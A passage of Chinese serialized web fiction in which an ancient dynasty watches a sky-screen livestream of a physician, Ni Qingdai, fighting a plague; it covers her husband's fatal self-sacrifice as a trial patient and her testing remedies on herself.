“你就算把那个妖女弄死了又能如何?你加尔顿难不成还懂得如何治疗疫疠不成?你该不会以为这疫疠它不能传到草原上来吧?” 格巴说到这,忍不住又冷哼了一声,故意朝加尔顿嘲讽说道: “从天幕上那个许三九刚才所说的话,就算是头猪,现在都已经听出来,这个倪青黛肯定就是解决这场疠疫的关键人物!若是真把她杀了,咱们指不定全都得跟着玩完!” 加尔顿本来是想找格巴的茬,但被格巴这么一通回怼,甚至还被侮辱为猪,他瞬间气得是脸上一阵青一阵白。 就在他正想朝格巴怒吼出声时,原本一直沉默的东桀单于出了声: “行了,都别吵了,为了一个大盛妖女吵成这个样子,简直是堕了咱们东桀勇士的名声。” 虽然知道加尔顿和格巴从以前就已经关系不睦,但为了和稀泥,东桀单于就把锅都甩到了所谓的“大盛妖女”头上。 但更可笑的是,他在说完这话后,又神情自若地朝身边下属吩咐道,让人去告诉部落里的其余巫医们,务必牢牢记住倪青黛这个大盛妖女在天幕上被提及的所有相关话语。 显然,东桀单于也对这杀伤性极强的疠疫心存恐惧,所以才会开口下令巫医们必须关注倪青黛的一举一动。 而加尔顿和格巴在看到东桀单于这番反应后,虽然心中对彼此还是很不满,但却是不敢再继续争执下去。 此时的天幕上,许三九依然在介绍晏安三年那场疠疫的事情: 【这里顺便说句题外话,虽然当时京郊疫区的医疗队总负责人并不是倪青黛医仙,但事实上,盛武帝当时让赵之翎将军在疫区采取的防疫规章,全都是由倪青黛医仙本人制定的】 【倪青黛医仙根据自己多年来在军队以及民间的行医经验,认为疫病的感染方式极大可能是来自空气、蚊虫鼠蟑、水、食物和衣物】 【她的这种总结,其实已经非常接近咱们如今对传染病传播方式的认知】 【而赵之翎将军正是根据她的这些总结,才将京郊的疫区管理得井井有条】 【但即使是这样,倪青黛医仙与寻常的医者相比,她除了要思考如何医治疠疫外,还依然需要应付那些因为谣言而对她产生的恶意】 【甚至,那些恶意还给她造成了比疠疫更多的麻烦】 【当疫区里其他的太医都已经找寻到愿意尝试自己药方效果的病患时,倪青黛医仙却因为谣言的缘故,被那些病患视若洪水猛兽,根本没有一个病患愿意相信她】 【而提到倪青黛医仙在京郊疫区里面的这段经历,三九我个人觉得,有一部名为《医仙传奇》的古早爱情剧,在塑造倪青黛这个医仙女主时,反而是将她的形象刻画得很是生动形象】 【因为那部剧里恰好也有根据史实对倪医仙这段经历进行还原,所以三九今天正好也借这个契机,和宝子们一起分享下】 许三九话音落下后,天幕上的画面随即出现了一大片看起来很是干净整洁的古代木屋。 对于疫区这个模样,大盛朝的许多老百姓都感到很是惊讶。 因为在他们的预期中,收纳了那么多瘟疫病患的疫区,应该看起来很脏乱才是,但天幕上却是截然不同。 而就在这时,一个身形瘦削的女子,出现在了天幕的画面中。 她脸上戴着一块棉布,那棉布遮挡住了她的口鼻,所以大家无法看清她的全貌。 但从她坐在桌前持笔写字,且桌案上还摆放着许多药草的模样,很多人立刻便猜到,她应该是在为疠疫而撰写药方。 考虑到许三九刚才将倪青黛称呼为医仙,众人不禁对那药方产生了浓郁的期待。 东桀单于更是急忙朝身边的下属们下命令,让他们待会无论如何都必须记住那药方上所出现的内容,绝对不能漏了一个字。 就在众人都目光灼灼地盯着那药方时,“唰”一声,倪青黛突然将自己刚刚写好的药方撕成了两半,然后直接将其揉成了纸团,扔进了桌案边的纸篓子里。 纸篓子里的纸团已经多到要溢出来了,显然,这并不是倪青黛第一张撕毁的药方。 倪青黛直接往后一靠,头倚靠在椅背上,很是疲惫地叹息了一声。 而就在这时,房内突然响起了敲门声。 倪青黛起身坐直,“门没锁,进来。” “吱呀”一声,门从外面被推了开来,两个脸上同样戴着棉布口罩的男人,走进了屋内。 倪青黛见到来人,急忙站起身:“赵将军、连洲,你们怎么过来了?是有什么事吗?” 显然,来人正是负责管理疫区的赵之翎,以及倪青黛的夫君季连洲。 赵之翎朝倪青黛抬手抱了个拳,说道: “倪院正,我这有个消息跟你说一声,我已经帮你找到一个愿意试药的病患了。他症状才刚刚显露,不过,他要求朝廷必须给他家人一千两,他这才肯愿意试药,我已经答应他这个条件了。” 见倪青黛皱起眉头,赵之翎语速急促地朝她说道: “倪院正,现在这会已经不是考虑这事仁不仁义的时候了!” “你知道吗,就在你们太医院昨天抵达疫区的第一天时间里,这个疫区就又病死了三千五十四个人!我手底下那些士兵,光是烧尸体都快烧不过来了,一个个全靠一口气在那撑着!还有老兵都快精神崩溃了,说南征北战打了那么多年,头回受不住那么绝望的画面!” 倪青黛沉默了半晌后,她朝赵之翎低声开口道:“对不住,是我分不清形势。” 听到倪青黛道歉,赵之翎脸上神情也不好受: “别这样说,你没做错什么,我知道你也是医者仁心。若是你学着我这个莽夫一样拿钱买命,那你就反倒不是我认识的那个倪医痴了。” 倪青黛闻言,深吸了一口气,望向赵之翎道:“赵将军,劳烦你帮我跟那位病患提前说一声,我如今对我的药方并没有把握,用他试药的话,会随时调整药方,很可能会给他的身体造成更大的负担、痛苦,我希望他能对此做好心理准备。” “我知道了……”赵之翎说到这,语气突然顿了一下,又道:“你也别给自己那么大的压力,这些病患如今都是已经上了阎王爷名册的人,就算你失败了,那也是很正常的事情。” 听到赵之翎后面补充的那句话,倪青黛先是楞神了一下,然后才朝赵之翎点了点头:“道理我明白的,多谢赵将军关心。” “既然消息已经带到了,我还有其他的事情要忙,就暂时先走了。” 见倪青黛要送自己,赵之翎直接摆了摆手:“都这时候了,就别搞那么多繁文缛节了,我自己走就行。” 赵之翎说罢,临走之前,他又望向从刚才进来时就一直沉默的季连洲,说道: “季太医,你有什么想说的,就抓紧时间和倪院正说吧,说完之后,就赶紧出来,我派亲兵送你离开!” 赵之翎说罢后,还哼了一声,然后就大阔步地走出了屋子。 而倪青黛对于赵之翎的这番话,却是脸上表情一片疑惑,朝季连洲问道:“你要离开?去哪里呀?” 季连洲没有回答倪青黛的问题,他只是低垂着头,声音沙哑地朝倪青黛说道: “进京郊的疫区之前,你为什么不问我想不想来,就把我的名字也给安排上了太医院的名单里?” 倪青黛听到季连洲这个问题后,脸上表情先是错愕、震惊,随后便是愧疚: “你不想和我一起到疫区这边是吗?” 听到倪青黛这个问题,季连洲瞬间双手握成拳头,他低沉着声音朝倪青黛吼道: “你觉得正常人会想要来吗?如果不是因为你把我写上了那份名单,我根本就不想来这个会要人命的鬼地方!” 看到季连洲竟然吼自己,倪青黛的眼眸中不由闪过一抹受伤。 她抿了抿唇,嗓音发紧地朝季连洲道: “对不起,我不该帮你擅自做主的,我以为你会想和我一起……” “你以为!什么都是你以为!”季连洲直接怒吼着打断了倪青黛的话,“你以为你是我肚子里的蛔虫吗?我早就受够你这个模样了!” 季连洲说罢后,看都没有看倪青黛一眼,直接转身就冲出了屋外! 天幕下,季家。 季父和季母都一脸不可思议地看着自己的儿子。 季连洲也是一阵瞳孔地震,仿佛遭受到了巨大冲击的模样。 季父语气很是心痛:“连洲,你怎么会变成那副模样啊?” 季连洲神情无措:“我、我也不知道,爹,你说青黛她还会愿意我和在一起吗?” 季父闻言,瞬间脸上更是充满诧异地看向季连洲: “你都这副贪生怕死的模样了,你还觉得你配得起青黛那丫头?” 季连洲听到季父这话,不由愧疚地低垂下了头,眼神中充满着对未来那个“自己”的责备和恼怒。 季连洲不明白,自己怎么会做出那样猪狗不如的事情来。 他明明早就在心中暗下决心,要一辈子守着护着倪青黛。 可真到大难临头的这种关键时刻,他竟然抛下了倪青黛,独自当了个逃跑的懦夫。 天幕上,在季连洲跑出屋子后,当季连洲的背影消失在视线中时,倪青黛的眼角不由沁出了一颗泪珠,但她很快就抬手用力擦掉那颗泪珠。 她深吸了一口气,努力让自己笑起来,随后,她似乎像是在安慰自己,又似乎是在说服自己,低声囔囔道: “这样也好,这病实在凶险,若是害了连洲,我到了地下,也实在无颜见爹娘他们。” 显然,倪青黛此刻口中的爹娘是指她公公和婆婆。 所以,天幕下,季父和季母瞬间又感到脸上一阵火辣辣。 第59章 直播6:你又没拿刀架在…… 天幕上,电视剧里的倪青黛在季连洲离开以后,又重新坐回到了刚才的书案前。 她提起笔,似乎是想再尝试写一张药方,但在拿起笔后,笔尖却悬在半空好一会。 直到墨水“啪嗒”一声,滴落在洁白的纸面上,她这才终于从沉思中回过神来,然后又忍不住轻轻叹息了一声。 显然,所有人都看得出,季连洲的离开,给倪青黛的心中带来了很大的波澜。 天幕上的下个镜头,很快便切换到了傍晚。 伴随着“扣扣”敲门声响起的,是赵之翎在门外响亮的声音: “倪院正,那试药的病患已经开始上吐下泻了,您要实验的药方准备好了吗?” 倪青黛闻言,从桌上拿起自己已经写好的那张药方,她深吸了一口气后,站起身打开了房门。 “走吧,赵将军,你带我去看下那病患的状况,我看看是否需要再调整下药方。” 听到倪青黛这话,赵之翎脚下却丝毫未动。 倪青黛注意到他这反应,神情疑惑地看向他。 赵之翎有些为难地抿了抿唇,但还是开口道:“倪院正,你把药方给我就好,我让人去给那病患抓药、熬药。” 倪青黛一听赵之翎这话,眉头不由皱了起来。 赵之翎随即又补充解释了一句:“那病患说他不想看到你。” 倪青黛:“……他也觉得这疠疫是因为女子才带来的是吗?” 赵之翎沉默以对。 而倪青黛看到赵之翎这反应后,忍不住叹了口气,但还是道:“好,我知道了,但等他喝完一副这个药后,你把他再出现的呕吐物和排泄物,都悉数送到我这边来。” 赵之翎急忙点头如捣蒜,然后拿着药方就步履匆匆地离开了。 很快,一个士兵如临大敌般重新出现在了倪青黛的面前。 倪青黛神色如常,从他手中接过了那两个被包裹得严严实实的木盒,然后转身进了屋子。 深夜时分,当倪青黛再从屋内出来时,她将手中拿着的新药方,递给了门口一直守着等的士兵。 她在将修改后的新药方递过去后,面上神色闪过一丝犹豫,但最终还是忍不住朝那士兵交代道: “小李,把药给那病患喝之前,跟他说一声,这张方子的药下得有些重,他可能会比先前难受很多。” 小李重重地点了点头,然后很快就拿着药方朝外面迅速跑去。 而事实上,倪青黛的话确实没说错。 因为在小李这一次重新拿回来的呕吐物中,大家可以在天幕上看到大量的红艳鲜血,甚至有疑似是内脏碎块的东西。 天幕下,许多老百姓被吓得忍不住惊呼了起来,还有幼童直接害怕到放声大哭,母亲急忙将其搂抱在怀中安抚。 天幕上的倪青黛,在看到那些呕吐物时,眉头也忍不住深深地锁了起来。 她屋内彻夜灯火通明,第二天拂晓时分,当一轮红日出现在天边时,倪青黛的房门突然被从里面打了开来。 虽然值守了一夜,但却依然警惕性很强的小李瞬间抬眸望向她,眼神中隐隐透出几分期待。 倪青黛将药方递到了他面前,“他在服用过这副药后,身体会发高烧,但高烧过后,身体状态应该会比先前好转一些。” 听到倪青黛这话,小李眸中瞬间闪过了几分激动。 他很快就拿着药方跑向外面。 而等他再重新回到倪青黛面前时,他脸上已经带上了几分喜色。 他声音难掩雀跃地朝倪青黛说道:“倪院正,那位病人确实是好转了许多,现在人都能下地走路了。” 小李说罢,还将一张纸条递给倪青黛:“给,倪院正,这是那位病人这次口述的服药感受。你再看看,能不能继续对你起到帮助!” 倪青黛听到小李这话,疲惫的脸上也终于露出了笑意。 她从小李手中接过那张纸条后,想了想,抬眸朝小李道: “小李,我能拜托你帮我再帮我跑一趟吗?我想劳烦你,帮我跟那个病患转告一声,说他前面两次替我口述的服药感受都对我很有帮助,我很感谢他对改善药方做出的贡献!” 小李闻言,重重地点了点头:“没问题,倪院正,我现在就去帮你办这事。” 小李这次离开后,再回来时,身边还多出了一个赵之翎。 赵之翎原本紧绷的神情,此刻也带上了一点笑意,他朝倪青黛说道: “倪院正,我就知道你肯定能行!这次真是辛苦您了!” 倪青黛闻言,却摇了摇头,“若要论辛苦,其实最辛苦的是那位帮我试药的病患。” 虽然赵之翎已经说他给那病患开出了一千两的买命钱,但倪青黛心中却依然很感激那位愿意试药的病患。 因为她知道,人在经历肉体上的疼痛折磨时,就算拥有再多钱也无济于事。 而那位病患在每次试完药后,却竟然还能神智清醒地为她口述身体的服药感受,这着实是大大超出了倪青黛原先的预期。 而在听到倪青黛提起那位病患时,赵之翎沉默了一瞬后,也忍不住叹息了一声:“是,我们确实都该感谢他才对。” 倪青黛此刻一门心思希望再继续修改药方,没多少心思和赵之翎闲聊,因此便直接朝赵之翎问道: “赵将军,你还有什么事要找我吗?如果没有的话,我想回房间继续研究药方了。” 赵之翎也怕耽误倪青黛的研究进度,因此一听到倪青黛这么说,他就直接开诚布公说道: “有几个病患家属听说你这边的药方效果不错,主动说想让自家的病患也给倪院正你这边试试药。” 看到倪青黛又拧起眉头,赵之翎随即说道:“倪院正,我是个粗人,说话直,但我觉得你大可以同意下这事。如今对于这些病患来说,试药反而才是能够有活下去的希望。如果不试的话,他们才是注定离死期不远。况且,试药这事也是他们主动找上来的,你又没拿刀架在脖子上逼他们。” 听到赵之翎这话,对于药方其实还并不是很有把握的倪青黛,最终还是轻轻点了点头。 而在送走赵之翎之后,倪青黛又一头扎进了自己的屋中,继续根据那位病患新的服药感受,对药方进行进一步的改进。 倪青黛随后又改了两次药方,而病患们试药后的身体状况,都比从前大大缓解了许多。 京郊疫区里所有知道这个消息的人,都不由为之感到极大的振奋。 因为在众多医者当中,如今唯有倪青黛的药方能达到这样的效果。 因着倪青黛的药方,很多人都感觉自己好像已经看到了攻克疠疫的希望。 而正当大家都以为胜利的曙光就在眼前时,赵之翎却满头大汗地出现在了倪青黛的面前。 他一见到倪青黛,就立刻急声说道:“倪院正,季连洲出事了!” 倪青黛乍一听到赵之翎这话,虽然还没反应过来是什么意思,但却因为“季连洲”这个名字,就瞬间从椅子上站起了身。 而当赵之翎带着倪青黛去到季连洲的面前时,倪青黛简直是如遭晴天霹雳,脸上的血色瞬间褪得一干二净。 季连洲身形枯瘦地躺在木床上,相貌呈现出一种令人极度不安的灰白,原本光泽的头发此刻也好似秋末干枯的野草。 无论从哪一方面来看,季连洲显然都是快要油尽灯枯的模样。 而似乎是感知到了倪青黛的到来,已经失去视觉的他,这时努力想要抬起右手,但最终却还是虚弱地垂落了下去,而就在他的右手即将落在床板上时,倪青黛却稳稳地接住了他的右手。 似乎是感受了倪青黛手心传来的温度,季连洲嘴角突然微微往上扬了起来,但下一瞬,他的右手却直接从倪青黛的手心无力地滑落了下去。 倪青黛面色惨白,慌忙想要抓住他的手,但最终却还是让他的手“咚”一声落在了床板上。 第60章 直播6:三千青丝,一夜…… 天幕下,看到这里时,绝大多数的人都已经猜测到,季连洲就是那个倪青黛最开始试药的病患。 皇宫里,盛昭帝朝倪厚朴感慨地说道:“倪院正,你不止有个好孙女,孙女婿也照样是好样的!等到他们俩成婚那天,老夫一定得为他们添上几份贺礼才行!” 倪厚朴此刻心中的感情很是复杂,但听到盛昭帝这话后,还是急忙替倪青黛和季连洲向盛昭帝谢恩。 而凌戈脸上的神情,这时也同样透出几分凝重。 当局者迷,旁观者清。 事实上,早在刚才看到季连洲向倪青黛发脾气时,他心中就隐隐有这样的猜测。 但即使如此,当看到真相果真如自己心中预测的那样时,他还是不由感到心情一阵沉重。 季连洲他本可以不用死的,他是为了天下苍生,才献祭出了自己的生命。 而季连洲的死,也确实是出乎了太多人的意料。 西北边关这边,霍青川一脸懊恼,声音充满自责地朝霍英说道: “我刚才真是不该那么嘴贱,竟然骂季连洲是个贪生怕死的懦夫!他比这天底下绝大多数的人都有种多了!” 霍英瞥了他一眼,“我之前跟你说过多少回,让你做事不要急躁,你哪回把我的话给听进耳中了。” 霍青川闻言,脸上神情瞬间越发愧疚,“爹,我这回真是长记性了。” 霍英见他是真的打心底里后悔,便没再多说什么,只是也发自肺腑地感叹了一句: “古今豪杰虽众,然似他这般舍生取义、甘死如饴者,屈指可数也。” 因着天幕上的画面,季连洲此刻已经成为了天下人口中的风云人物。 然而,他本人此刻面上不仅没有半点喜色,反而是愁眉紧锁、面露担忧。 “青黛她肯定又要把这事的责任都揽到她自己头上了!” 季父和季母听到儿子这话,再想到倪青黛那悲天悯人的性格后,不约而同地都叹了一声气。 而天幕上,在季连洲咽气的那一瞬,赵之翎下颌紧绷,额上的青筋突突直跳。 他“咚”一声双膝跪地,朝坐在床边的倪青黛“砰砰砰”磕了三个响头,眉心瞬间一片淤血。 他强忍悲痛,咬着牙朝倪青黛开口道:“对不住,倪院正,是我骗了你!我赵之翎欠你一条命,等这场该死的疠疫结束后,我就把我这条烂命还给你!” “欠我一条命?”一直没有反应的倪青黛这时终于转过了头,她目光直直地盯着赵之翎,“是你逼迫连洲他去感染疠疫的吗?” 赵之翎抿了抿唇,低垂下头: “我本来确实是打算花重金去寻找愿意试药的病患,但季太医他知道这事后,却跟我说,试药这事由他来就行。我一开始是拒绝他的,但他跟我说,他比那些普通病患更合适,因为他懂药,他能比那些普通病人更及时反应药方的药效如何。” 赵之翎说到这,双手忍不住握成拳,“是我卑鄙无耻,他的话确实打动了我。因为我看过其他病患被试药后的反应,那些病患绝大多数本身就大字不识一个,现在又身患疠疫,肉体和精神都被折磨得痛苦至极,根本就没办法和那些太医好好沟通自己对药物的各种感受。” 赵之翎从前说话向来中气十足,但此刻,他却是越说越小声。 但即使如此,在这间寂静至极的房间里,他的声音依然显得很清晰。 “那句阎王爷名册的话,也是他让你跟我说的?” 倪青黛这听起来有些没头没尾,但赵之翎却是立刻就反应了过来,嗓音沙哑地“嗯”了一声。 赵之翎知道自己此刻已经没有隐瞒的必要,所以就朝倪青黛全盘托出: “季太医说你在霍大元帅病亡以后,一直对自己很是自责内疚,觉得都怪自己医术不精,才救不了霍大元帅,也辜负了圣上的期盼。他怕你又给自己太大压力,所以就教了我一番话,让我劝给你听,希望你不要将那些失败都归咎到自己的身上。” 倪青黛闻言,她沉默了半晌后,突然轻轻嗤笑了一声: “是我太蠢了,我早该知道的,明明差不多的话都已经听过一遍了,但我却竟然没有察觉出来。” 赵之翎听到倪青黛那声笑,显然心中更不是滋味。 他正打算开口安慰倪青黛时,外面却突然传来了一阵喧闹声。 正当赵之翎皱起眉头,打算让亲兵出去看看是什么情况时,一个老翁突然从外面闯了进来。 他一看到倪青黛的身影,当即就冲过来,揪住倪青黛的衣领怒骂道:“妖女!都是你害死了我儿子!” 老翁声音中充满了汹涌的怨恨:“为什么死的那个人不是你?!我们当初就不该信任你这个妖女的,若是选了其他那些太医,我儿子指不定现在还能活着!” 显然,老翁是其他那几个主动找过来试药的病患家属之一,而在季连洲撒手人寰的此刻,那几个病患也同样出事了。 赵之翎从地上站起身,一把就将那神情激动的老翁扯开,把他甩到了追进来的士兵怀中。 随后,赵之翎怒骂那几个士兵道:“你们这几个蠢货到底在干什么,连守门都守不住是吗?” 其中一个士兵忍不住替自己喊冤:“将军,隔壁院子那几个病患的家属都在闹,我们刚才被喊去那边帮忙了。” 见这士兵还哪壶不开提哪壶,赵之翎简直是气得火冒三丈,但又不能发火,只好急忙朝他们呵斥道: “赶紧把这老人给我拉出去!再让人闯进这屋来,你们一个个全给我滚蛋!真是没天理了,一个个当初找上门来时,嘴上说得多好听,说什么就是图个希望,结果现在却出尔反尔,翻脸不认人!” 赵之翎把人都赶出去后,转过身正打算安慰倪青黛,说这些人纯属是无理取闹时,结果却发现倪青黛已经晕倒在了床边。 赵之翎瞬间脸色大变,急忙让人去喊太医过来。 天幕下,倪家。 倪母忍不住瞪了一眼女儿,倪青黛默默往旁边挪了又挪,躲到了倪父的身边,试图借助倪父的身影挡住母亲的目光。 但她能挡得住母亲的目光,却挡不住母亲的声音: “我是不是跟你说过,让你别心太软,你就是不听,你看,这下不就应验我的话了吗?!” 倪青黛心虚地摸了摸自己的衣袖,但就是不应声。 而天幕上,此时的画面已经播到倪青黛被人送回屋中,在太医的诊治下,从昏睡中苏醒过来的画面。 赵之翎最先发现倪青黛的苏醒,但见倪青黛醒来后,只是睁着眼,又不说话,他忍不住叹了口气,朝倪青黛道: “倪院正,你哭出来吧,别憋在心里折磨自己。你这个样子,我看了越发觉得自己就是个没良心的畜生!” 倪青黛闻言,眼眶依然一片干涸,只是开了口:“连洲他给我留书信了吗?” 听到倪青黛这话,赵之翎急忙点头,他从袖中拿出了一个信封,递向倪青黛。 倪青黛从床上坐起身,她接过信封时,手不断地微微发颤。 赵之翎试图安慰她节哀,然而在开口之前,倪青黛先出了声: “赵将军,我想自己待一会。” 赵之翎听到倪青黛这赶客的话,犹豫片刻后,还是点了点头,道: “你要是有什么事,就喊一声,我让小李给你在外面守门。” 因为疫区里还有数不胜数的事情等着赵之翎处理,所以赵之翎在交代完这句后,很快便匆匆离开了。 倪青黛在他离开以后,才拆开了信封,她小心翼翼地展开信纸。 而当看到信纸上季连洲写的第一个字时,倪青黛终于抑制不住,双眼不断落下眼泪。 季连洲在遗书中告诉倪青黛,让她不要自责,说自己并不是为了倪青黛才选择试药。他自知自己医术天赋平平无奇,但他也希望自己能为病人做出一些贡献。他之所以选择为倪青黛试药,也是因为他认为在那么多医者之中,唯有倪青黛是最有可能解决疠疫的那个人。假使今天是另外一个人拥有倪青黛那样的医学天赋,他也会为那个人做出同样的选择来。 遗书的最后,季连洲依然鼓励倪青黛,说他相信倪青黛一定可以攻克疠疫,希望倪青黛不要失去信心。 当倪青黛看完季连洲的那封遗书时,她已经是哭得泪如雨下、悲恸欲绝。 值守在倪青黛屋外的小李,听到屋内传出来的悲痛哭声后,忍不住也抬手抹了自己抹湿润的眼角。 天幕上,在一组云卷云舒的快速空镜头之后,时间很快就从白天到黑夜,又来到了第二天的清晨。 “吱呀”一声,当把自己关在房内一天一夜的倪青黛从屋内打开门时,站岗在外面的小李和正巧走进院里的赵之翎,都被倪青黛的变化给惊得愣住了。 三千青丝,一夜白头。 赵之翎和小李都一脸欲言又止地看着倪青黛。 倪青黛注意到他们震惊的眼神后,低头看了一眼自己的白发,她苦笑了一声,朝赵之翎和小李道:“抱歉,有点吓到你们了是吧?” 小李想张嘴说没事,但还没开口,眼泪就已经争先恐后地涌了出来。 赵之翎同样感到心情憋屈至极,他狠狠挥拳砸向身旁的木门,“砰”一声直接将木门打穿了一个洞。 见赵之翎和小李都对自己的白发反应那么大,倪青黛这时反而开口安慰起了他们,让他们不必替自己伤怀,她刚给自己把过脉,身体并无大碍。 而在小李止住眼泪以后,倪青黛又望向赵之翎,问道:“赵将军,连洲的遗体火化了吗?如果没的话,我想送他最后一程。” 赵之翎声音发紧:“我过来找你,就是想告诉你,底下人准备处理季太医的遗体了。” 赵之翎说到“遗体”这两个字时,声音都明显在发颤。 但倪青黛听到以后,神情却很是淡定,仿佛已经平复下了心中所有的情绪。 她点了点头,道:“我知道了,劳烦赵将军你跑这一趟。对了,我还得跟你道声歉。对不起,我昨天情绪一时太激动,我不该怀疑你会逼迫连洲他去感染疠疫的,我这种怀疑是对你的侮辱。” 听到倪青黛突然朝自己道歉,赵之翎脸上情绪霎时间变得更是复杂。 他朝倪青黛回道:“该道歉的人是我,您是最不需要道歉的那个人。” 倪青黛闻言,只是笑了笑,并没有和赵之翎争辩。 她此刻心中有更重要的事情要办。 她很快和赵之翎就来到了季连洲停尸的地方。《 》 60-70 第61章 直播6:陛下,您疯了吗…… 天幕上,因着倪青黛的请求,赵之翎只是远远站在停尸房外面。 赵之翎以为倪青黛是想和季连洲进行最后的单独相处,但却不知,倪青黛这样要求,其实还有另一层目的,那就是季连洲手中戴着的那条红手绳。 那条红手绳,倪青黛手中也同样戴着一条,她一直都没有解下来过。 而当倪青黛目光落在季连洲手腕上的那条红手绳上时,天幕的电视剧画面随即切换出了倪青黛对于这条手绳的回忆。 月老庙前,倪青黛手中拿着两条红手绳,笑容满面地走在季连洲的身边。 她笑着将其中一条手绳递给季连洲,说道:“这可是我花了100文铜钱巨款才求来的永结同心绳,你可不准给我弄丢了,必须得一直好好戴在手上才行。” 季连洲接过红绳,面上却露出打趣的笑:“青黛,我看你这话也该拿来提醒你自己一遍。咱们俩个人之间,到底谁才是那个出了名的马大哈呢?” 倪青黛闻言,佯装恼怒地瞪了季连洲一眼:“好你个季连洲,你这是结了婚以后,就开始嫌弃起媳妇是吗?” 倪青黛这般幼稚的行为,季连洲却是配合地举起双手,笑着作投降状道: “倪院正,我哪敢嫌弃您呀?这外面不知道多少人眼红我能高攀你这个太医院院正呢?我如果不伺候好您,您要是把人老珠黄的我给踹了,我哭都找不到地方哭去!” 倪青黛双手叉腰,满意地点了点头:“不错、不错,算你还识相!” 她说罢,自己先忍不住噗嗤一声哈哈笑了起来。 季连洲见到她笑容明媚灿烂的模样,脸上也不禁跟着染上了笑意,甚至还在倪青黛笑得差点撞到旁边一个香客时,悄然抬手替她护了一下,自然而然地将她给拉回到了自己的身旁。 当时只道是寻常的嬉闹,如今阴阳两隔,再回首,个中滋味却是百般难言。 倪青黛的这段回忆杀画面一播,网友纷纷在视频弹幕中发出被刀到了的惨呼声: 【救命!!求求别再刀了,孩子的抽纸都已经哭到用完了!!】 【呜呜呜呜,我已经哭到我室友以为我是失恋被甩了。如果这是单纯的电视剧,我还不至于哭得像现在那么伤心,但只要一想到历史上的倪医仙和她夫君季太医就是如此遭遇,我就真的感觉痛彻心扉了】 【同感,当年看这部剧时,真的把我给虐惨了,然后特意去查了下真实的历史资料后,就瞬间更加想要爆哭一场了】 【作为N刷过这部剧,且同样了解历史的人,友情提醒一句,后面还有更刀的,眼窝浅的朋友真的需要备足纸巾】 …… 天幕上的回忆画面播完后,电视剧又切回到了倪青黛的镜头。 按照规定,季连洲作为因疠疫而死的病患,所有衣物和物品都应该与尸体一起火化。 但倪青黛借着袖子的遮掩,悄然解下了季连洲手中的那条红手绳,将其迅速收进了自己的袖中。 而在做完这件事后,她目光深深地望了一眼季连洲的面容,随后转身离开,背影中透出一份决然。 离开停尸房以后,倪青黛以自己累了为由,很快就和赵之翎分开。 赵之翎本以为倪青黛是悲伤过度,才会在季连洲火化之后,将自己一整天都关在房内。 但深夜时分,当他派去护着倪青黛的小李神色慌张地跑到他面前,说倪青黛也感染上了疠疫时,他脸上瞬间神情大变,心中同时也冒出了一个连他都不敢置信的猜测。 “疯子!疯子!” 赵之翎气得连骂了两声,但冲往倪青黛屋子的速度却丝毫不见减慢。 而当他跑到倪青黛屋外时,他瞬间就听到了倪青黛在里面不断呕吐的难受声音。 赵之翎瞬间指节捏得咯吱作响,一阵发白,脖颈处的青筋微微抽动。 接下来的三天时间里,倪青黛就这样拿自己不断试药,根据自己对病痛的切身感受,日以继夜地对药方进行持续的改进。 等到第六天时,当看到倪青黛站着从那间屋子中走出来时,赵之翎及其他身边的所有将士们,“咚”一声都自发跪在了地上,眼含热泪地朝倪青黛重重磕了三个响头。 随后,因着倪青黛以身染病试药后研发出的那张药方,原本死气沉沉的疫区,氛围瞬间发生一百八十度大转变。 越来越多之前重病卧床的病人,本来都已经一只脚踩在鬼门关边,但在服用了汤药后,却都开始重新恢复了生机。 而随着时间的流逝,疫区里原本不断增多的病人,开始迅速减少。 显然,倪青黛研发的那张药方,确实是有奇效的救命良方。 当疫区里最后一批病患恢复健康,离开疫区时,值守疫区的将士和医者们,都不由欢呼雀跃了起来。 大家特意举办了一场庆祝的篝火晚会,但当所有人想要找到倪青黛,向她表示感谢时,却发现倪青黛的身影消失在了人群中。 天幕上,倪青黛独自一人,坐在疫区后面的那座悬崖边,山风猎猎,她双脚悬在半空,双手往后撑在地上,仰头看着天空。 她望着天空的眼神一片幽深,使人看不出她此刻内心究竟在想些什么。 而就在这时,她身后却突然响起了一阵脚步声。 倪青黛本来并没有任何动作,好似根本没听到那脚步声,但当来人也落座在她身边时,她瞬间拧起了眉头,转头望了过去。 而当看到此刻坐在自己身边的人竟然是凌戈时,她更是惊得当场倒吸了一口冷气,脱口而出道: “陛下,您疯了吗?” 倪青黛朝凌戈催促道:“您赶紧快起来!您要是在这出事了,我怎么对得起天下百姓啊!” “为众人抱薪者,不可使其冻毙于风雪。”凌戈声音淡然从容,“倪院正,你刚才对我说的那句话,也是我要对你说的。你若是出了事,我又有何颜面去面对天下苍生呢?”* 凌戈望着倪青黛,轻声说道:“我今天特意过来,就是觉得自己应该替天下百姓向你道一声谢,顺便也说一声对不起。” 听到凌戈这番话,倪青黛深感惶恐,受宠若惊:“陛下,您别这样说,我担不起您这样对我。” 凌戈闻言,没有与倪青黛争辩,只是道:“我已经拟了旨意,稍后便会下旨封你为济世侯,世袭五代。你若是有其他想法,也可以尽管跟我说。至于季太医,我也会追封他为仁心侯,同样是世袭五代。” 听到凌戈这话后,倪青黛先是怔楞了一瞬,下一秒,她嚎啕大哭了起来: “连洲,往后再没有人敢说你地位不如我高了!” 电视剧的画面结束在倪青黛痛哭的镜头后,许三九红着眼眶的身影重新出现在了镜头前: 【误会季连洲太医这件事,是倪青黛医仙她一生中心里最大的痛】 【直到晚年时,她依然无法对这件事释怀,并且在与孟皇后这个挚友的通信中,表示出了浓浓的自责情绪】 【她觉得自己当初之所以会相信季连洲的那些话,就是因为她心里其实一直隐隐有这种担忧,害怕季连洲会在意外界那些说季连洲“夫不如妻”的风言风语】 【所以,当季连洲表现出那般模样时,她也才会那么容易就信以为真】 【这里顺便插句题外话,刚才电视剧里,盛武帝男神陪着倪医仙坐悬崖的这件事,虽然听着很离大谱,但事实上也确实是历史上真实发生过的事情】 【因为在当前已经公布的倪医仙书信史料中,大家可以看到倪医仙曾经两次在书信中朝孟皇后吐槽,说盛武帝实在是太疯狂了,她当时看到盛武帝竟然也落座在悬崖边时,她心中只剩下了一个想法,那就是盛武帝可千万不能出事啊,不然她就成千古罪人了】 【三九我个人觉得,盛武帝这件事着实是给倪医仙带去了巨大的冲击,因为这两封信的吐槽,中间相差了差不多十年时间】 【由此可见,倪医仙对盛武帝这件事,着实是记忆深刻,以至于一想起来就忍不住朝孟皇后吐槽】 作者有话说: 【引用中文谚语,出处不可考】 第62章 直播6:救万民于水火,…… 天幕下,孟家院中。 孟谦此刻正和夫人简书雯、以及孙女孟雪姝在一直看天幕。 对外宣称自己病得起不来床的他,此刻看起来炯炯有神。 